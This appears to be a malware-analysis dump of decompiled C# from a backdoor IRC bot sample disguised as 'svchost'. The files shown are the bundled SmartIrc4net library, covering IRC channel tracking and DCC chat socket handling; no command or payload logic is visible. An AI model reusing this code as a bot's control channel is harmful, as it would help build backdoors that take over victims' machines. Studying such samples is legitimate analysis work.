public delegate void AutoConnectErrorEventHandler(object sender, AutoConnectErrorEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.AwayEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class AwayEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Who;
|
||||||
|
private string _AwayMessage;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string AwayMessage => this._AwayMessage;
|
||||||
|
|
||||||
|
internal AwayEventArgs(IrcMessageData data, string who, string awaymessage)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Who = who;
|
||||||
|
this._AwayMessage = awaymessage;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.AwayEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void AwayEventHandler(object sender, AwayEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,29 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.BanEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class BanEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
private string _Hostmask;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string Hostmask => this._Hostmask;
|
||||||
|
|
||||||
|
internal BanEventArgs(IrcMessageData data, string channel, string who, string hostmask)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
this._Hostmask = hostmask;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.BanEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void BanEventHandler(object sender, BanEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,28 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.BanInfo
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class BanInfo
|
||||||
|
{
|
||||||
|
private string f_Channel;
|
||||||
|
private string f_Mask;
|
||||||
|
|
||||||
|
public string Channel => this.f_Channel;
|
||||||
|
|
||||||
|
public string Mask => this.f_Mask;
|
||||||
|
|
||||||
|
private BanInfo()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public static BanInfo Parse(IrcMessageData data) => new BanInfo()
|
||||||
|
{
|
||||||
|
f_Channel = data.RawMessageArray[3],
|
||||||
|
f_Mask = data.RawMessageArray[4]
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,95 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.Channel
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Collections;
|
||||||
|
using System.Collections.Specialized;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class Channel
|
||||||
|
{
|
||||||
|
private string _Name;
|
||||||
|
private string _Key = string.Empty;
|
||||||
|
private Hashtable _Users = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
|
||||||
|
private Hashtable _Ops = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
|
||||||
|
private Hashtable _Voices = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
|
||||||
|
private StringCollection _Bans = new StringCollection();
|
||||||
|
private string _Topic = string.Empty;
|
||||||
|
private int _UserLimit;
|
||||||
|
private string _Mode = string.Empty;
|
||||||
|
private DateTime _ActiveSyncStart;
|
||||||
|
private DateTime _ActiveSyncStop;
|
||||||
|
private TimeSpan _ActiveSyncTime;
|
||||||
|
private bool _IsSycned;
|
||||||
|
|
||||||
|
internal Channel(string name)
|
||||||
|
{
|
||||||
|
this._Name = name;
|
||||||
|
this._ActiveSyncStart = DateTime.Now;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Name => this._Name;
|
||||||
|
|
||||||
|
public string Key
|
||||||
|
{
|
||||||
|
get => this._Key;
|
||||||
|
set => this._Key = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Hashtable Users => (Hashtable) this._Users.Clone();
|
||||||
|
|
||||||
|
internal Hashtable UnsafeUsers => this._Users;
|
||||||
|
|
||||||
|
public Hashtable Ops => (Hashtable) this._Ops.Clone();
|
||||||
|
|
||||||
|
internal Hashtable UnsafeOps => this._Ops;
|
||||||
|
|
||||||
|
public Hashtable Voices => (Hashtable) this._Voices.Clone();
|
||||||
|
|
||||||
|
internal Hashtable UnsafeVoices => this._Voices;
|
||||||
|
|
||||||
|
public StringCollection Bans => this._Bans;
|
||||||
|
|
||||||
|
public string Topic
|
||||||
|
{
|
||||||
|
get => this._Topic;
|
||||||
|
set => this._Topic = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int UserLimit
|
||||||
|
{
|
||||||
|
get => this._UserLimit;
|
||||||
|
set => this._UserLimit = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Mode
|
||||||
|
{
|
||||||
|
get => this._Mode;
|
||||||
|
set => this._Mode = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public DateTime ActiveSyncStart => this._ActiveSyncStart;
|
||||||
|
|
||||||
|
public DateTime ActiveSyncStop
|
||||||
|
{
|
||||||
|
get => this._ActiveSyncStop;
|
||||||
|
set
|
||||||
|
{
|
||||||
|
this._ActiveSyncStop = value;
|
||||||
|
this._ActiveSyncTime = this._ActiveSyncStop.Subtract(this._ActiveSyncStart);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public TimeSpan ActiveSyncTime => this._ActiveSyncTime;
|
||||||
|
|
||||||
|
public bool IsSycned
|
||||||
|
{
|
||||||
|
get => this._IsSycned;
|
||||||
|
set => this._IsSycned = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,28 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ChannelInfo
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class ChannelInfo
|
||||||
|
{
|
||||||
|
private string f_Channel;
|
||||||
|
private int f_UserCount;
|
||||||
|
private string f_Topic;
|
||||||
|
|
||||||
|
public string Channel => this.f_Channel;
|
||||||
|
|
||||||
|
public int UserCount => this.f_UserCount;
|
||||||
|
|
||||||
|
public string Topic => this.f_Topic;
|
||||||
|
|
||||||
|
internal ChannelInfo(string channel, int userCount, string topic)
|
||||||
|
{
|
||||||
|
this.f_Channel = channel;
|
||||||
|
this.f_UserCount = userCount;
|
||||||
|
this.f_Topic = topic;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,56 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ChannelUser
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class ChannelUser
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private IrcUser _IrcUser;
|
||||||
|
private bool _IsOp;
|
||||||
|
private bool _IsVoice;
|
||||||
|
|
||||||
|
internal ChannelUser(string channel, IrcUser ircuser)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._IrcUser = ircuser;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public bool IsIrcOp => this._IrcUser.IsIrcOp;
|
||||||
|
|
||||||
|
public bool IsOp
|
||||||
|
{
|
||||||
|
get => this._IsOp;
|
||||||
|
set => this._IsOp = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool IsVoice
|
||||||
|
{
|
||||||
|
get => this._IsVoice;
|
||||||
|
set => this._IsVoice = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool IsAway => this._IrcUser.IsAway;
|
||||||
|
|
||||||
|
public IrcUser IrcUser => this._IrcUser;
|
||||||
|
|
||||||
|
public string Nick => this._IrcUser.Nick;
|
||||||
|
|
||||||
|
public string Ident => this._IrcUser.Ident;
|
||||||
|
|
||||||
|
public string Host => this._IrcUser.Host;
|
||||||
|
|
||||||
|
public string Realname => this._IrcUser.Realname;
|
||||||
|
|
||||||
|
public string Server => this._IrcUser.Server;
|
||||||
|
|
||||||
|
public int HopCount => this._IrcUser.HopCount;
|
||||||
|
|
||||||
|
public string[] JoinedChannels => this._IrcUser.JoinedChannels;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,34 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ConnectionException
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Runtime.Serialization;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class ConnectionException : SmartIrc4netException
|
||||||
|
{
|
||||||
|
public ConnectionException()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public ConnectionException(string message)
|
||||||
|
: base(message)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public ConnectionException(string message, Exception e)
|
||||||
|
: base(message, e)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
protected ConnectionException(SerializationInfo info, StreamingContext context)
|
||||||
|
: base(info, context)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,34 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.CouldNotConnectException
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Runtime.Serialization;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class CouldNotConnectException : ConnectionException
|
||||||
|
{
|
||||||
|
public CouldNotConnectException()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public CouldNotConnectException(string message)
|
||||||
|
: base(message)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public CouldNotConnectException(string message, Exception e)
|
||||||
|
: base(message, e)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
protected CouldNotConnectException(SerializationInfo info, StreamingContext context)
|
||||||
|
: base(info, context)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.CtcpDelegate
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void CtcpDelegate(CtcpEventArgs eventArgs);
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.CtcpEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class CtcpEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _CtcpCommand;
|
||||||
|
private string _CtcpParameter;
|
||||||
|
|
||||||
|
public string CtcpCommand => this._CtcpCommand;
|
||||||
|
|
||||||
|
public string CtcpParameter => this._CtcpParameter;
|
||||||
|
|
||||||
|
internal CtcpEventArgs(IrcMessageData data, string ctcpcmd, string ctcpparam)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._CtcpCommand = ctcpcmd;
|
||||||
|
this._CtcpParameter = ctcpparam;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.CtcpEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void CtcpEventHandler(object sender, CtcpEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,152 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccChat
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DccChat : DccConnection
|
||||||
|
{
|
||||||
|
private StreamReader _sr;
|
||||||
|
private StreamWriter _sw;
|
||||||
|
private int _lines;
|
||||||
|
|
||||||
|
public int Lines => this._lines;
|
||||||
|
|
||||||
|
internal DccChat(
|
||||||
|
IrcFeatures irc,
|
||||||
|
string user,
|
||||||
|
IPAddress externalIpAdress,
|
||||||
|
bool passive,
|
||||||
|
Priority priority)
|
||||||
|
{
|
||||||
|
this.Irc = irc;
|
||||||
|
this.ExternalIPAdress = externalIpAdress;
|
||||||
|
this.User = user;
|
||||||
|
if (passive)
|
||||||
|
{
|
||||||
|
irc.SendMessage(SendType.CtcpRequest, user, "DCC CHAT chat " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) this.session, priority);
|
||||||
|
this.Disconnect();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
|
||||||
|
this.DccServer.Start();
|
||||||
|
this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
|
||||||
|
irc.SendMessage(SendType.CtcpRequest, user, "DCC CHAT chat " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port, priority);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal DccChat(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
this.Irc = irc;
|
||||||
|
this.ExternalIPAdress = externalIpAdress;
|
||||||
|
this.User = e.Data.Nick;
|
||||||
|
if (e.Data.MessageArray.Length > 4)
|
||||||
|
{
|
||||||
|
long result1;
|
||||||
|
bool flag1 = long.TryParse(e.Data.MessageArray[3], out result1);
|
||||||
|
int result2;
|
||||||
|
bool flag2 = int.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result2);
|
||||||
|
if (e.Data.MessageArray[2] == "chat" && flag1 && flag2)
|
||||||
|
{
|
||||||
|
this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result1)), result2);
|
||||||
|
if (e.Data.MessageArray.Length > 5 && e.Data.MessageArray[5] != "T")
|
||||||
|
{
|
||||||
|
this.AcceptRequest();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.DccChatRequestEvent(new DccEventArgs((DccConnection) this));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Chat Parameter Error");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Chat not enough parameters");
|
||||||
|
this.isValid = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal override void InitWork(object stateInfo)
|
||||||
|
{
|
||||||
|
if (!this.Valid)
|
||||||
|
return;
|
||||||
|
if (this.DccServer != null)
|
||||||
|
{
|
||||||
|
this.Connection = this.DccServer.AcceptTcpClient();
|
||||||
|
this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint;
|
||||||
|
this.DccServer.Stop();
|
||||||
|
this.isConnected = true;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
while (!this.isConnected)
|
||||||
|
{
|
||||||
|
Thread.Sleep(500);
|
||||||
|
if (this.reject)
|
||||||
|
{
|
||||||
|
this.isValid = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
this.DccChatStartEvent(new DccEventArgs((DccConnection) this));
|
||||||
|
this._sr = new StreamReader((Stream) this.Connection.GetStream(), this.Irc.Encoding);
|
||||||
|
this._sw = new StreamWriter((Stream) this.Connection.GetStream(), this.Irc.Encoding);
|
||||||
|
this._sw.AutoFlush = true;
|
||||||
|
string messageLine;
|
||||||
|
while ((messageLine = this._sr.ReadLine()) != null && this.isConnected)
|
||||||
|
{
|
||||||
|
this.DccChatReceiveLineEvent(new DccChatEventArgs((DccConnection) this, messageLine));
|
||||||
|
++this._lines;
|
||||||
|
}
|
||||||
|
this.isValid = false;
|
||||||
|
this.isConnected = false;
|
||||||
|
this.DccChatStopEvent(new DccEventArgs((DccConnection) this));
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool AcceptRequest()
|
||||||
|
{
|
||||||
|
if (this.isConnected)
|
||||||
|
return false;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (this.RemoteEndPoint.Port == 0)
|
||||||
|
{
|
||||||
|
this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
|
||||||
|
this.DccServer.Start();
|
||||||
|
this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
|
||||||
|
this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC CHAT chat " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this.Connection = new TcpClient();
|
||||||
|
this.Connection.Connect(this.RemoteEndPoint);
|
||||||
|
this.isConnected = true;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
this.isValid = false;
|
||||||
|
this.isConnected = false;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteLine(string message)
|
||||||
|
{
|
||||||
|
if (!this.isConnected)
|
||||||
|
throw new NotConnectedException("DCC Chat is not Connected");
|
||||||
|
this._sw.WriteLine(message);
|
||||||
|
++this._lines;
|
||||||
|
this.DccChatSentLineEvent(new DccChatEventArgs((DccConnection) this, message));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccChatEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DccChatEventArgs : DccEventArgs
|
||||||
|
{
|
||||||
|
private string _Message;
|
||||||
|
private string[] _MessageArray;
|
||||||
|
|
||||||
|
public string Message => this._Message;
|
||||||
|
|
||||||
|
public string[] MessageArray => this._MessageArray;
|
||||||
|
|
||||||
|
internal DccChatEventArgs(DccConnection dcc, string messageLine)
|
||||||
|
: base(dcc)
|
||||||
|
{
|
||||||
|
this._Message = messageLine;
|
||||||
|
this._MessageArray = messageLine.Split(' ');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccChatLineHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void DccChatLineHandler(object sender, DccChatEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,193 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccConnection
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DccConnection
|
||||||
|
{
|
||||||
|
protected IrcFeatures Irc;
|
||||||
|
protected TcpListener DccServer;
|
||||||
|
protected TcpClient Connection;
|
||||||
|
protected IPEndPoint LocalEndPoint;
|
||||||
|
protected IPEndPoint RemoteEndPoint;
|
||||||
|
protected IPAddress ExternalIPAdress;
|
||||||
|
protected DateTime Timeout;
|
||||||
|
protected string User;
|
||||||
|
protected bool isConnected;
|
||||||
|
protected bool isValid = true;
|
||||||
|
protected bool reject;
|
||||||
|
protected long session;
|
||||||
|
|
||||||
|
public bool Connected => this.isConnected;
|
||||||
|
|
||||||
|
public bool Valid
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
if (!this.isValid)
|
||||||
|
return false;
|
||||||
|
return this.isConnected || DateTime.Now < this.Timeout;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Nick => this.User;
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccChatRequestEvent;
|
||||||
|
|
||||||
|
protected virtual void DccChatRequestEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatRequestEvent != null)
|
||||||
|
this.OnDccChatRequestEvent((object) this, e);
|
||||||
|
this.Irc.DccChatRequestEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccSendRequestHandler OnDccSendRequestEvent;
|
||||||
|
|
||||||
|
protected virtual void DccSendRequestEvent(DccSendRequestEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendRequestEvent != null)
|
||||||
|
this.OnDccSendRequestEvent((object) this, e);
|
||||||
|
this.Irc.DccSendRequestEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccChatStartEvent;
|
||||||
|
|
||||||
|
protected virtual void DccChatStartEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatStartEvent != null)
|
||||||
|
this.OnDccChatStartEvent((object) this, e);
|
||||||
|
this.Irc.DccChatStartEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccSendStartEvent;
|
||||||
|
|
||||||
|
protected virtual void DccSendStartEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendStartEvent != null)
|
||||||
|
this.OnDccSendStartEvent((object) this, e);
|
||||||
|
this.Irc.DccSendStartEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
